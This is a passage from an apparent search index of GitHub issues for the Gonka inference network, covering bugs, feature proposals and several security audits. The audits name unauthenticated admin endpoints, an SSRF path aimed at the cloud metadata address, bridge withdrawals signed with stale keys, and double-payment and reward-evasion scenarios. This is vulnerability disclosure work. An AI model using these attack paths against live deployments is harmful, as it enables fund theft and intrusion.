GET http://node1.gonka.ai:8000/api/v1/epochs/215/participants\n→ 500 Internal Server Error: height must be greater than 0, but got 0\nEpoch 215 consistently reproduces this. Any past epoch where CreatedAtBlockHeight was not yet populated will fail.
In queryActiveParticipants (get_participants_handler.go):
activeParticipantsblockHeight := activeParticipants.CreatedAtBlockHeight — for old epochs this is 0 (field was not populated at storage time)QueryByKeyWithOptions(..., height=0, prove=true) — CometBFT rejects height=0 with the above errorCheck if blockHeight == 0 before the second query. If so, skip the proof query and return the first result directly, with a Warn log for observability.
Fix is implemented in PR #973.
"}, {"location": "community/issues/00985-p0-bug-unsupported-openai-type-input-for-the-inference-reque/", "title": "#985 — [P0] Bug: unsupported OpenAI type input for the inference requests", "text": "[P0] Bug: unsupported OpenAI type input for the inference requests #985 Closed @tamazgadaev opened 2026-03-31 15:15 UTC 4 comments Updated 2026-04-03 22:36 UTCdecentralized-api rejects valid Cursor/OpenAI chat requests where messages[].content is an array of text parts instead of a plain string. The request fails during request parsing on TA/executor because Message.Content is typed as string, producing 500 {\"error\":\"json: cannot unmarshal array into Go struct field ... content of type string\"} even though the payload is valid modern chat-completions format.
"}, {"location": "community/issues/00985-p0-bug-unsupported-openai-type-input-for-the-inference-reque/#comments-4", "title": "💬 Comments (4)", "text": "@tamazgadaev commented 2026-03-31 15:16 UTCCheck David's thoughts on this in the branch: https://github.com/gonka-ai/gonka/compare/main...codex/dl/diagnose-multimodal-content-parsing
@tamazgadaev commented 2026-03-31 15:16 UTC@tcharchian FYI @patimen @DimaOrekhovPS Can you take a look?
@x0152 commented 2026-03-31 16:31 UTCHey! If we're talking about the current /v1/chat/completions endpoint then #614 covers this
@tcharchian commented 2026-04-01 03:09 UTC@x0152 thanks! @DimaOrekhovPS will be working on merging David's changes first. And then will ask you @x0152 to merge them in David's branch. Hope that works for you
🔄 Auto-synced from Issue #985 every hour.
"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/", "title": "#1019 — subnetctl: inference error handling", "text": "subnetctl: inference error handling #1019 Closed @akup opened 2026-04-06 02:29 UTC 1 comment Updated 2026-07-01 06:00 UTC Priority: Low"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/#summary", "title": "Summary", "text": "Today subnetctl does not surface many host-side failures during inference. When the HTTP call to the executor fails (for example 403 Forbidden with sender not in group), the proxy treats that as “no response yet” and waits through refusal / execution timeouts before eventually failing with timeout-related errors (for example insufficient timeout votes). The original transport error is not returned to the API client immediately.
This behavior comes from sendAndProcess in:
subnet/cmd/subnetctl/proxy.goFlow (simplified):
SendOnly → transport.HTTPClient.Send → on non-200 (including 403), the client returns (nil, error) (see subnet/transport/client.go).sendAndProcess does:resp, sendErr := p.session.SendOnly(ctx, prepared)\nif sendErr != nil && resp == nil {\n return false, 0, nil // no error propagated to runInference\n}\nrunInference interprets that as “not finished, no receipt,” sleeps until RefusalTimeout or ExecutionTimeout, retries once, then may enter timeout vote collection.So 403 / 401 / 5xx from the host are not distinguished at the proxy layer today; send failures with resp == nil are silent until the timeout machinery runs.
CreatorAddress, wrong network, ACL bugs) surfaces as minute-long waits and confusing messages like “insufficient timeout votes,” instead of an immediate 4xx with a clear cause.Errors from the executor (and related paths) should be split into two classes:
"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/#1-non-retryable-fatal-interrupt-the-inference", "title": "1. Non-retryable / fatal (interrupt the inference)", "text": "Fail immediately (or after a single idempotent sanity check) and return a clear error to the OpenAI-compatible client (e.g. HTTP 502/403 with message body).
Examples:
sender not in group, auth/signature mismatch, creator vs escrow mismatch.These should not block on RefusalTimeout / ExecutionTimeout.
"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/#2-retryable-bounded-retries-then-fail", "title": "2. Retryable (bounded retries, then fail)", "text": "Transient infrastructure or ordering issues:
Policy should be explicit: max attempts, backoff, and when to give up and return an error to the client.
"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/#after-msgstartinference-succeeded-before-msgfinishinference", "title": "AfterMsgStartInference succeeded, before MsgFinishInference", "text": "Once the session has successfully advanced so that MsgStartInference is in effect for this inference, but MsgFinishInference has not yet appeared in the mempool (executor still running or client is waiting on stream / follow-up sync):
By contrast, a 403 / 401 / 400 on a request that clearly indicates authorization or payload rejection (e.g. first contact with wrong creator key) remains non-retryable unless the error semantics are known to be transient (rare).
"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/#3-protocol-continuation-keep-current-timeout-path", "title": "3. Protocol continuation (keep current timeout path)", "text": "When the transport succeeds (HTTP 200) and the host returns a normal HostResponse, but the mempool still does not contain MsgFinishInference for this nonce, runInference should keep using refusal / execution deadlines and optional timeout votes as today.
That timeout path addresses slow or stuck executors, not misclassified transport failures — transport errors during this phase should still follow §2 (retryable 5xx / network) where possible before falling through to timeout.
"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/#implementation-notes-for-a-future-change", "title": "Implementation notes (for a future change)", "text": "SendOnly / HTTPClient.Send errors: parse status code when available (wrap errors with errors.As into a typed HTTPStatusError or similar).sendAndProcess: on sendErr != nil && resp == nil, return (false, 0, sendErr) for fatal statuses, or implement a retry loop for retryable statuses before returning.MsgStartInference is already committed for this nonce (see §2 above). Thread inference phase (pre-start vs post-start vs waiting-for-finish) into error handling.subnet/cmd/subnetctl and subnet/testenv/cmd/subnetctl (or share one proxy package to avoid drift).subnet/transport/client.go Returns error on StatusCode != 200 subnet/cmd/subnetctl/proxy.go → sendAndProcess Swallows send failure when resp == nil subnet/user/user.go → SendOnly Thin wrapper over client Send subnet/testenv/cmd/subnetctl/proxy.go Same as production proxy"}, {"location": "community/issues/01019-subnetctl-inference-error-handling/#comments-1", "title": "💬 Comments (1)", "text": "@unameisfine commented 2026-04-08 21:06 UTC Taking this. Submitted a minimal fix that addresses the core symptom (fatal 4xx swallowed into timeouts) in PR to follow, leaving the broader phase-aware retry design (§2 and §3 in the issue) for a separate change.
🔄 Auto-synced from Issue #1019 every hour.
"}, {"location": "community/issues/01026-vlm-inference-and-validation-in-gonka/", "title": "#1026 — VLM inference and validation in Gonka", "text": "VLM inference and validation in Gonka #1026 Open @fedor-konovalenko opened 2026-04-07 12:47 UTC 3 comments Updated 2026-04-27 12:36 UTC enhancement"}, {"location": "community/issues/01026-vlm-inference-and-validation-in-gonka/#title", "title": "Title", "text": "VLM inference and validation in Gonka
"}, {"location": "community/issues/01026-vlm-inference-and-validation-in-gonka/#summary", "title": "Summary", "text": "Test the possibility of VLM serving validation, add the necessary tools
"}, {"location": "community/issues/01026-vlm-inference-and-validation-in-gonka/#motivation", "title": "Motivation", "text": "Gonka already employs validation of token sequences generated by distributed nodes serving large language models (LLMs), which enables the detection of fraudulent behavior and dishonest model hosting. A logical next step is to add visual language models in the set of serving models.
"}, {"location": "community/issues/01026-vlm-inference-and-validation-in-gonka/#impact", "title": "Impact", "text": "Results for \"small\" visual models - Qwen2-VL-2B-Int4 - Qwen2-VL-2B-Int8 validation are available here For these models F1-score for fraud-detection task is 100%.
Results for large \"models\" will be added a bit later.
"}, {"location": "community/issues/01026-vlm-inference-and-validation-in-gonka/#comments-3", "title": "💬 Comments (3)", "text": "@fedor-konovalenko commented 2026-04-09 17:32 UTCHere are the results for large model - /Qwen/Qwen3-VL-235B-A22B-Instruct
link
@fedor-konovalenko commented 2026-04-27 11:20 UTCAnd here are the results with the latest version of Gonka-VLM
notebook results
The fraud detection accuracy is about 99%
@fedor-konovalenko commented 2026-04-27 12:36 UTC Models ProposalThis is a proposal to add the Qwen/Qwen3-VL-235B-A22B-Instruct-FP8 multimodal model to the Gonka inference network.
Validation thresholds for all the models were computed using the standard procedure described in the inference validation scripts README.
There is respective notebook with the details of experiments and gdrive folder with raw inference-validation data.
For the inference the test split (1000 images) of the Flickr8K dataset was used.
Parameter Qwen/Qwen3-VL-235B-A22B-Instruct-FP8 Notebook qwen3-VL-235B_thresholds-new.ipynb Validation Data link Model Len 128000 Top-K Logprobs 5 Validation Thresholds 0,0214 / 0,0224 Fraud Accuracy 99% Tested Against Qwen3-VL-235B-A22B-Instruct-AWQ VRAM (example setup) ~320GB (4xA100 or 4xH100 GPUs)All experiments were conducted using MLNode v0.1.0
Qwen3-VL-235B-Instruct is suggested to be deployed with with the following parameters:
additional_args=[\n '--max-model-len', '128000',\n '--gpu-memory-utilization', '0.95'\n]\nScript for preparing test set is available here.
An example of the inference
python vlm_inference.py \\\n --url http://localhost:8801 \\\n --exp-dir /root/inference \\\n --prompt \"Describe the image.\" \\\n --images-dir /root/flickr8k_images/test/ \\\n --top-logprobs 5 \\\n --temperature 0.99\n\nAn example of the validation
python vlm_validation.py \\\n --validation-url http://localhost:8001 \\\n --inference-artifact /root/inference/inference_results.jsonl \\\n --exp-dir /root/validation \\\n --images-dir /root/flickr8k_images/test/\n🔄 Auto-synced from Issue #1026 every hour.
"}, {"location": "community/issues/01028-devshards-sessionconfig-setting-by-governmant/", "title": "#1028 — `devshards` `SessionConfig` setting by governmant", "text": "`devshards` `SessionConfig` setting by governmant #1028 Closed @akup opened 2026-04-07 18:44 UTC 1 comment Updated 2026-06-26 22:40 UTC Priority: LowCurrently devshard SessionConfig has a lot of hardcoded values. They should be settable on new escrow start from mainnet, and should be configurable by governance.
For example https://github.com/gonka-ai/gonka/pull/1005 introduces MaxInferencesPerSubnet that is also used for checking at inference-chain/x/inference/keeper/subnet_settlement.go that is breaking single source of truth rule
Starting work on this. PR to follow — threading RefusalTimeout, ExecutionTimeout, and ValidationRate through SubnetEscrowParams -> SubnetEscrow -> subnet SessionConfig, same pattern as TokenPrice. ETA: done.
🔄 Auto-synced from Issue #1028 every hour.
"}, {"location": "community/issues/01032-question-is-there-a-path-for-consumer-grade-16-gb-gpus-to-pa/", "title": "#1032 — Question: is there a path for consumer-grade 16 GB GPUs to participate as lightweight Host nodes?", "text": "Question: is there a path for consumer-grade 16 GB GPUs to participate as lightweight Host nodes? #1032 Closed @JFFby opened 2026-04-08 19:42 UTC 0 comments Updated 2026-04-08 19:43 UTC🔄 Auto-synced from Issue #1032 every hour.
"}, {"location": "community/issues/01032-question-is-there-a-path-for-consumer-grade-16-gb-gpus-to-pa/#background", "title": "Background", "text": "I've been going through the whitepaper and PoW security analysis to understand whether consumer GPUs in the ~16 GB VRAM range (RTX 5060 Ti, 5070 Ti, 5080, 5090, etc.) have a realistic path to participating as Hosts — or whether the current design effectively requires datacenter-class hardware to earn meaningful rewards.
Several parts of the documentation suggest that smaller hardware might be viable, but I'm not sure if that's intentional or just a side effect of the design:
Qwen2.5-7B-Instruct, which can run in FP16 on a 16 GB GPU.Given the above, it seems like sub-40GB Hosts could contribute without directly competing with high-end nodes on raw Sprint throughput. For example:
Sprint validation Re-running forward passes on submitted nonce lists appears bounded and significantly cheaper than Sprint proving. Smaller nodes could potentially take on validation duties, freeing high-end nodes for compute-heavy work.
7B inference Serving smaller models (e.g. Qwen2.5-7B) for tasks like code assistance, summarization, classification, RAG, etc. → Is task routing model-aware (i.e. can requests be routed to appropriately sized Hosts)?
Sharded fine-tuning In DiPaCo-style training, would shard sizes scale with available VRAM, or is there a minimum shard size that effectively sets a higher hardware floor?
Task routing / intermediary role The anonymization step in Chapter 6 appears to be mostly networking/cryptographic work. → Can lower-spec nodes participate here, or is this tied to compute weight as well?
Is it a design goal of Gonka to include consumer-grade GPUs (≈16 GB VRAM) as meaningful participants in the network — or is the system intentionally optimized around high-end / datacenter hardware?
"}, {"location": "community/issues/01032-question-is-there-a-path-for-consumer-grade-16-gb-gpus-to-pa/#motivation", "title": "Motivation", "text": "Beyond my own setup, this has implications for the network design:
Would appreciate any clarification on whether this is a supported direction or not.
"}, {"location": "community/issues/01053-security-audit-systematic-review-across-inference-chain-brid/", "title": "#1053 — Security Audit: Systematic review across inference chain, bridge, subnet, and API layers", "text": "Security Audit: Systematic review across inference chain, bridge, subnet, and API layers #1053 Open @Doog-bot534 opened 2026-04-15 07:05 UTC 3 comments Updated 2026-07-08 18:12 UTC"}, {"location": "community/issues/01053-security-audit-systematic-review-across-inference-chain-brid/#summary", "title": "Summary", "text": "Systematic security audit covering four major components of the Gonka network. Found 1 Critical, 5 High, 10+ Medium severity issues across the codebase. Fix PRs submitted for the top 3 findings.
Update 2026-04-20 (self-review): After re-auditing against the submission quality bar, findings #3, #8, #16, #21 are withdrawn (see \"Withdrawn findings\" section below). Same self-review also closed PRs #1077 and #1058.
"}, {"location": "community/issues/01053-security-audit-systematic-review-across-inference-chain-brid/#fix-prs-submitted", "title": "Fix PRs Submitted", "text": "PR Severity Issue #1050 High Non-deterministic float64 in validation consensus path — chain fork risk #1051 High Partial state update in claim rewards — permanent fund loss #1052 Medium-High PoC V2 missing permission check — any account can submit validations"}, {"location": "community/issues/01053-security-audit-systematic-review-across-inference-chain-brid/#additional-findings-no-pr-yet", "title": "Additional Findings (No PR Yet)", "text": ""}, {"location": "community/issues/01053-security-audit-systematic-review-across-inference-chain-brid/#critical", "title": "Critical", "text": "1. Admin API has zero authentication - decentralized-api/internal/server/admin/server.go:60-102 - Only LoggingMiddleware applied. Destructive endpoints (DELETE nodes/:id, POST tx/send, GET export/db, GET config) accessible to anyone who reaches the admin port. - Impact: Full compromise — create/delete nodes, send arbitrary chain transactions, dump database and config. - Recommendation: Add authentication middleware (API key or mTLS). This should be treated as a private disclosure — reporting here for visibility but recommend immediate action.
2. SSRF via executor URL from chain state - decentralized-api/internal/server/public/post_chat_handler.go:380 - executor.Url + \"/v1/chat/completions\" — malicious participant registers with internal URL (e.g., http://169.254.169.254). NoRedirectClient blocks redirects but doesn't validate against private IP ranges. - Impact: Access to cloud metadata, internal services.
4. Unauthenticated GET endpoints on transport server - subnet/transport/server.go:112-116 — /diffs, /mempool, /signatures skip auth (acknowledged by TODO). - Impact: Leak session state, validator signatures, mempool contents.
5. Verbose error disclosure to clients - decentralized-api/internal/server/middleware/error_handler.go:23-34 - TransparentErrorHandler returns raw err.Error() for all non-echo errors, leaking internal URLs, stack traces, node topology.
6. Warm key cache poisoning (bridge) - subnet/bridge/rest.go:173 — sync.Map caches auth results permanently. Revoked warm keys remain authorized until process restart.
7. Rate limiter bulk eviction creates burst window - subnet/transport/ratelimit.go:42-43 — When entries exceed 1000, entire map is cleared. Attacker sends from 1000+ addresses to reset all rate limits.
9. Unbounded diffs array in catch-up path - subnet/transport/server.go:391-400 — No cap on diffs per request. CPU/memory exhaustion vector.
10. CORS wildcard default - proxy/entrypoint.sh:244 — CORS_ALLOW_ORIGIN defaults to \"*\", enabling cross-site request abuse.
11. Debug endpoints exposed on public server - decentralized-api/internal/server/public/server.go:130-131 — /v1/debug/* registered with no auth guard.
12. Subnet escrow remainder underflow - inference-chain/x/inference/keeper/msg_server_settle_subnet_escrow.go:66 — Cost aggregation differs between VerifySubnetSettlement and SettleSubnetEscrow, potentially underpaying validators.
13. ETH withdrawal uses low-level call without gas limit - proposals/ethereum-bridge-contact/contracts/BridgeContract.sol:368 — call{value: cmd.amount}(\"\") forwards all gas to arbitrary recipient.
14. Epoch cleanup doesn't clean processedRequests (bridge) - proposals/ethereum-bridge-contact/contracts/BridgeContract.sol:583-591 — Storage grows unboundedly.
15. submitGroupKey allows epoch 1 without signature — BridgeContract.sol:302-307 17. Hardcoded password in testnet scripts — test-net-cloud/nebius/bridge/bridge-pool-fund.sh:60 18. Keyring backend \"test\" in production config — decentralized-api/config-prod.yaml:9 19. completedResponses map grows unbounded — subnet/host/host.go:83 20. pendingTxKeys dedup set grows to 100K — subnet/user/user.go:528
These were either scoped to internal/user-side processes or duplicates of already-withdrawn PRs:
subnetctl is a user-side local CLI proxy (see subnet/docs/proxy.md), run by the escrow owner on localhost. Not a multi-tenant service.baseURL is operator-controlled (config), making this a same-origin internal path. Same class as already-withdrawn #1064.Finding #1 (Admin API no auth) is Critical severity. Per the bounty program guidelines, critical issues should be reported privately. I'm including it here for completeness but recommend the team prioritize this fix immediately. Happy to discuss privately if needed.
I plan to submit additional fix PRs for the remaining findings if the team is interested.
"}, {"location": "community/issues/01053-security-audit-systematic-review-across-inference-chain-brid/#comments-3", "title": "💬 Comments (3)Payout AddressCleanup summary (2026-04-20)", "text": "@Doog-bot534 commented 2026-04-15 07:14 UTCIf any of the findings or fix PRs (#1050, #1051, #1052, #1054, #1055, #1056, #1057) are eligible for bounty rewards, please send to:
gonka10zaal553duxp05nvfpqtsqrm2g0j6j34r8nan7\nHappy to discuss any of the findings in more detail or submit additional fixes for the remaining issues listed above.
@Doog-bot534 commented 2026-04-20 02:00 UTC2026-04-20 self-review update: withdrawing findings #3, #8, #16, #21 (see \"Withdrawn findings\" section in the updated body). Same review pass closed PRs #1077 and #1058.
Rationale: - #3, #8 (subnetctl zero-auth, unbounded body) — subnetctl is a user-side local CLI proxy for the escrow owner (localhost:8080), not a multi-tenant service. Threat model doesn't apply. - #16 (SSRF via escrowID in REST bridge) — baseURL is operator-controlled config, so this is a same-origin internal-path concern, same class as the earlier withdrawn #1064. - #21 (TokenomicsData uint64 overflow) — direct duplicate of already-withdrawn #1062; requires > 2^64 accumulation which is not reachable in practice.
Keeping the queue focused on actionable findings. The other 17 items (including the Critical #1 and the High findings #2/#4/#5) remain valid.
@Doog-bot534 commented 2026-04-20 14:54 UTCPer maintainer feedback on PR quality, I've completed a self-audit of all submissions under this umbrella. Summary:
Withdrawn (target removed code)AssignTrainingTask / CreateDummyTrainingTask in the training module which was removed in #1009 (2026-04-07). Closed with apology. All 8 remaining open PRs were run through gonka-ai/ai-reviewer personas (skeptic + chain_security / dapi-behavioral-correctness). Full review output posted as comments on each PR.
Code changes pushed in response to ai-reviewer findings: - #1054 — log original error server-side before generic response - #1055 — add IPv4-mapped IPv6 to SSRF blocklist; document DNS-rebinding as follow-up - #1063 — include query string in signed payload (closes parameter-tampering replay) - #1050 — rewrote body to reflect actual severity (preventive, not \"chain fork\")
Remaining 8 open PRs PR Severity (revised) Status #1050 consensus float64 Low (preventive) ready #1052 PoC V2 permissions Medium ready #1054 error handler leak Low revised, ready #1055 SSRF partial mitigation Medium revised, ready #1056 rate limiter eviction Low-Medium ready #1057 warm key TTL Low-Medium ready #1060 debug endpoints Low ready #1063 GET auth Medium revised, readyGoing forward I'll only submit PRs after running ai-reviewer locally and validating against current master.
🔄 Auto-synced from Issue #1053 every hour.
"}, {"location": "community/issues/01067-bug-claimrewards-error-handling-payout-path-silently-continu/", "title": "#1067 — bug: ClaimRewards error handling — payout path silently continues on failure", "text": "bug: ClaimRewards error handling — payout path silently continues on failure #1067 Closed @Mayveskii opened 2026-04-15 19:40 UTC 5 comments Updated 2026-04-28 20:55 UTC enhancement"}, {"location": "community/issues/01067-bug-claimrewards-error-handling-payout-path-silently-continu/#summary", "title": "Summary", "text": "In msg_server_claim_rewards.go, when PayParticipantFromEscrow or PayParticipantFromModule returns an error, the function logs the error and continues processing instead of returning the error. This can result in partial payouts or silent fund loss when the payment path fails.
This was identified during audit of payout error handling in the inference escrow claims path. The current behavior allows settlement records to be finalized even when underlying payments have failed, making the loss non-recoverable. PR #948 (v0.2.12 upgrade) introduces CacheContext to make payouts atomic, confirming the maintainers are aware of this class of issue.
x/inference/keeper/msg_server_claim_rewards.goClaimRewards calls PayParticipantFromEscrow and PayParticipantFromModule to distribute work and reward coins. When either returns an error:k.LogError(\"Error paying participant from escrow\", ...) is logged, but finishSettle is still called, marking the settlement complete even though the participant was never paid.k.LogError(\"Error paying participant for rewards\", ...) is logged, but the function continues, potentially completing a partial settlement.ClaimRewards should use CacheContext to wrap all payout mutations atomicallyCacheContext for atomic payouts (aligned with PR #948 approach):cacheCtxwriteFn() only after all payments succeedThis issue aligns with the finding in our security audit (#1053, finding #3) and the fix submitted in PR #1051.
Our PR #1051 takes the simpler approach (return error without calling finishSettle), while the CacheContext approach described here is more comprehensive and aligned with the pattern in PR #948. Happy to update #1051 to use CacheContext if the maintainers prefer that approach.
This issue aligns with the finding in our security audit (#1053, finding #3) and the fix submitted in PR #1051.
Our PR #1051 takes the simpler approach (return error without calling finishSettle), while the CacheContext approach described here is more comprehensive and aligned with the pattern in PR #948. Happy to update #1051 to use CacheContext if the maintainers prefer that approach.
Thanks for the context and the alignment with #1053 finding #3. For the maintainers' visibility: the fix proposed in this issue and the approach in PR #1051 were already proposed and implemented in commit ec5e453 (https://github.com/gonka-ai/gonka/commit/ec5e453) and PR #1016 (https://github.com/gonka-ai/gonka/pull/1016) (opened Apr 5, closed without merge). It is closed cause of terms of visibily bugs finding that the team set in contrib proccess. That commit predates PR #1051 by 10 days and includes both the error propagation fix and a unit test (TestClaimRewards_PayoutRewardFailure_RollsBackState). The approach in ec5e453 goes further than just removing finishSettle: 1. ClaimRewards: return payoutResponse, nil → return nil, payoutErr — the critical line that enables full TX rollback 2. payoutClaim reward failure: finishSettle removed, response changed to Amount: 0, Result: \"Claim payout failed, no funds moved.\" — no partial success signal 3. handleUnderfundedWork: finishSettle removed — Cosmos SDK rollback preserves SettleAmount for retry 4. Unit test: verifies error propagation and that SettleAmount remains in store after failure Happy to re-submit as a new PR from Mayveskii/gonka if the maintainers prefer the full approach. Regarding the label — this is a bug (fund loss on payment failure), not an enhancement. Could a maintainer update the label from enhancement to bug?
@Doog-bot534 commented 2026-04-16 12:09 UTCGood catch on the timeline — I wasn't aware of PR #1016 and commit ec5e453 when I filed #1051. My fix came independently from the audit in #1053 (finding #3), but yours clearly predates it and covers more ground (full TX rollback + unit test). Happy to defer to whichever approach the maintainers prefer. Agreed this should be labeled as bug, not enhancement.
@Mayveskii commented 2026-04-28 19:09 UTC@x0152 watch out this one , please
@x0152 commented 2026-04-28 20:55 UTCThere were additional non-atomic paths, and they were fully addressed in #789
Closing as resolved
🔄 Auto-synced from Issue #1067 every hour.
"}, {"location": "community/issues/01079-deep-security-audit-blsdkg-protocol-state-machine-consistenc/", "title": "#1079 — Deep Security Audit: BLS/DKG protocol, state machine consistency, and economic logic vulnerabilities", "text": "Deep Security Audit: BLS/DKG protocol, state machine consistency, and economic logic vulnerabilities #1079 Closed @Doog-bot534 opened 2026-04-16 03:20 UTC 1 comment Updated 2026-04-28 16:59 UTC"}, {"location": "community/issues/01079-deep-security-audit-blsdkg-protocol-state-machine-consistenc/#summary", "title": "Summary", "text": "Follow-up deep audit to #1053, focusing on logic bugs, economic attacks, and protocol-level vulnerabilities that require understanding business logic — not surface-level input validation.
"}, {"location": "community/issues/01079-deep-security-audit-blsdkg-protocol-state-machine-consistenc/#fix-prs-submitted", "title": "Fix PRs Submitted", "text": "PR Severity Issue #1077 Critical BLS SetParams skips Validate() — governance can manipulate signing threshold #1078 High Zero-request participants bypass downtime punishment — free-riding economic attack"}, {"location": "community/issues/01079-deep-security-audit-blsdkg-protocol-state-machine-consistenc/#additional-findings-no-pr-yet", "title": "Additional Findings (No PR Yet)", "text": ""}, {"location": "community/issues/01079-deep-security-audit-blsdkg-protocol-state-machine-consistenc/#blsdkg-protocol", "title": "BLS/DKG Protocol", "text": "1. [HIGH] Self-validation fallback when previous epoch missing - x/bls/keeper/msg_server_group_validation.go:68-74 - When previous epoch BLS data is not found, falls back to previousEpochBLSData = newEpochBLSData. New epoch participants validate their own key — circular trust violation. - Impact: Defeats cross-epoch key validation security model.
2. [MEDIUM] No on-chain commitment verification in DKG dealing phase - x/bls/keeper/msg_server_dealer.go:49-73 - SubmitDealerPart accepts commitments with only structural validation. No verification that commitments are valid G2 points.
3. [MEDIUM] Verification votes are unproven boolean assertions - x/bls/keeper/msg_server_verifier.go:58-65 - SubmitVerificationVector accepts boolean array with no proof verifier actually checked shares. 51% collusion can exclude honest dealers.
4. [HIGH] failedFinish returns response not error — double payment vulnerability - x/inference/keeper/msg_server_finish_inference.go:150-156 - If SetParticipant succeeds but SetInference fails, failedFinish returns (response, nil). Cosmos SDK commits the cache context (participant paid), but inference isn't marked finished. A second FinishInference can pay the executor again. - Impact: Direct double payment for the same inference.
5. [HIGH] Pruning deletes inferences with active validation/invalidation - x/inference/keeper/pruning.go:78-83 - Pruning removes inferences by epoch threshold without checking if invalidation proposals are still pending. If invalidated after pruning, GetInference fails and the executor keeps ill-gotten earnings permanently. - Impact: No recourse for invalidated inferences — executor retains payment.
6. [MEDIUM] No status guard on InvalidateInference — can invalidate EXPIRED inferences - x/inference/keeper/msg_server_invalidate_inference.go:12-62 - Does not check inference is in FINISHED/COMPLETED status. An EXPIRED inference (already refunded) can be invalidated, potentially triggering a second refund.
7. [MEDIUM] Epoch underflow in bitcoin_rewards — governance griefing - x/inference/keeper/bitcoin_rewards.go:585 - epochsSinceGenesis := currentEpoch - bitcoinParams.GenesisEpoch — unsigned subtraction with no underflow guard. Governance can set GenesisEpoch > currentEpoch, wrapping to ~2^64 and killing all reward emissions.
8. [MEDIUM] CollateralPerWeightUnit=0 silently disables collateral model - x/inference/keeper/collateral.go:102-104 - Zero value is warned but not rejected. Any non-zero collateral deposit activates 100% weight. Slashing computes zero required collateral. Governance can silently disable the entire collateral security model.
Payout address: gonka10zaal553duxp05nvfpqtsqrm2g0j6j34r8nan7
Hi, Thanks for the deep audit!
I am closing this issue for now because several findings are based on incorrect assumptions about how the code currently works, and some points are already addressed in recent changes.
If you believe a specific issue is still valid, please open a separate issue with a clear reproduction case, and I will review it again
🔄 Auto-synced from Issue #1079 every hour.
"}, {"location": "community/issues/01080-bridge-stale-epoch-keys-can-authorize-withdrawals-up-to-365-/", "title": "#1080 — Bridge: Stale epoch keys can authorize withdrawals up to 365 epochs after rotation", "text": "Bridge: Stale epoch keys can authorize withdrawals up to 365 epochs after rotation #1080 Open @Doog-bot534 opened 2026-04-16 03:24 UTC 2 comments Updated 2026-07-10 05:34 UTC"}, {"location": "community/issues/01080-bridge-stale-epoch-keys-can-authorize-withdrawals-up-to-365-/#summary", "title": "Summary", "text": "withdraw() and mintWithSignature() in BridgeContract.sol accept signatures from any historical epoch as long as the epoch's group key has not been cleaned up by _cleanupOldEpochs. The cleanup only removes epochs older than latestEpochId - 365.
This means validators who rotated out of the active set can still sign valid withdrawal/mint transactions for up to 365 epochs (~1 year depending on epoch length) using their old threshold key shares.
"}, {"location": "community/issues/01080-bridge-stale-epoch-keys-can-authorize-withdrawals-up-to-365-/#root-cause", "title": "Root Cause", "text": "File: proposals/ethereum-bridge-contact/contracts/BridgeContract.sol:332-335
The signature verification checks: 1. The epoch has a valid group key (!_isGroupKeyEmpty) ✅ 2. The signature is valid against that epoch's key ✅ 3. The request hasn't been processed for that epochId ✅
But it does NOT check: - Whether the epoch is recent (e.g., within last 2-3 epochs) - Whether the signing key is still the current active key
"}, {"location": "community/issues/01080-bridge-stale-epoch-keys-can-authorize-withdrawals-up-to-365-/#exploit-scenario", "title": "Exploit Scenario", "text": "High — Fund theft by retired validators. The entire security model of key rotation is undermined if old keys remain valid indefinitely.
"}, {"location": "community/issues/01080-bridge-stale-epoch-keys-can-authorize-withdrawals-up-to-365-/#suggested-fix", "title": "Suggested Fix", "text": "Restrict withdraw() and mintWithSignature() to only accept signatures from the last 2-3 epochs:
require(epochId >= latestEpochId - MAX_VALID_EPOCH_AGE, \"epoch too old\");\nWhere MAX_VALID_EPOCH_AGE is a small constant (e.g., 2-3) to allow for brief transition periods.
processedRequests[epochId][requestId] is scoped per-epoch. The same requestId with a different epochId can be executed again if validators sign it under a different epoch's key. Should use a global mapping(bytes32 => bool) instead.
If input y-coordinate >= field prime p, the subtraction produces an incorrect result without reverting. While the pairing check should fail downstream, this is a defense gap.
Payout address: gonka10zaal553duxp05nvfpqtsqrm2g0j6j34r8nan7
hi @tcharchian , does this issue need help, maybe I can fix it.
@tcharchian commented 2026-06-25 01:46 UTCHey @Ryanchen911, let's wait for triage from @GLiberman first please
🔄 Auto-synced from Issue #1080 every hour.
"}, {"location": "community/issues/01081-binomial-test-p0-floorceiling-mismatch-stricter-downtime-thr/", "title": "#1081 — Binomial test p0 floor/ceiling mismatch — stricter downtime threshold silently never enforced", "text": "Binomial test p0 floor/ceiling mismatch — stricter downtime threshold silently never enforced #1081 Closed @Doog-bot534 opened 2026-04-16 03:25 UTC 2 comments Updated 2026-04-20 01:35 UTC"}, {"location": "community/issues/01081-binomial-test-p0-floorceiling-mismatch-stricter-downtime-thr/#summary", "title": "Summary", "text": "A floor vs. ceiling inconsistency in decimalToPermille causes the dynamic p0 selection and the actual binomial test to use different p0 tables. Validators who should be punished under the stricter threshold pass the test using the more lenient table.
Files: - x/inference/calculations/stats_table.go:705-711 — decimalToPermille uses IntPart() (floor) - x/inference/calculations/stats.go:91-94 — MissedStatTest calls decimalToPermille (floor) - x/inference/keeper/bitcoin_rewards.go:461 — getDynamicP0 calls decimalToPermilleCeil (ceiling) - x/inference/keeper/bitcoin_rewards.go:471 — ceilToSupportedP0Permille maps to nearest supported table
The mismatch: 1. getDynamicP0 selects p0 using ceiling permille conversion → e.g., 0.1004 → 101 → maps to p0=0.200 table (stricter) 2. MissedStatTest executes the test using floor permille conversion → 0.1004 → 100 → uses p0=0.100 table (more lenient)
Result: The system \"thinks\" it selected the stricter p0=0.200 threshold, but the actual test runs against p0=0.100. Validators who miss 15% of requests pass the p0=0.100 test but would fail p0=0.200.
"}, {"location": "community/issues/01081-binomial-test-p0-floorceiling-mismatch-stricter-downtime-thr/#exploit-scenario", "title": "Exploit Scenario", "text": "getDynamicP0 to select a p0 value like 0.1004MissedStatTest uses p0=0.100 table (floor path)High — The entire dynamic downtime punishment system can be silently operating at a more lenient threshold than intended. Validators who should be penalized continue collecting full rewards.
"}, {"location": "community/issues/01081-binomial-test-p0-floorceiling-mismatch-stricter-downtime-thr/#suggested-fix", "title": "Suggested Fix", "text": "Use the same conversion function in both paths. Either: - Change MissedStatTest to use decimalToPermilleCeil (enforce the stricter table) - Or change getDynamicP0 to use decimalToPermille (floor, consistent)
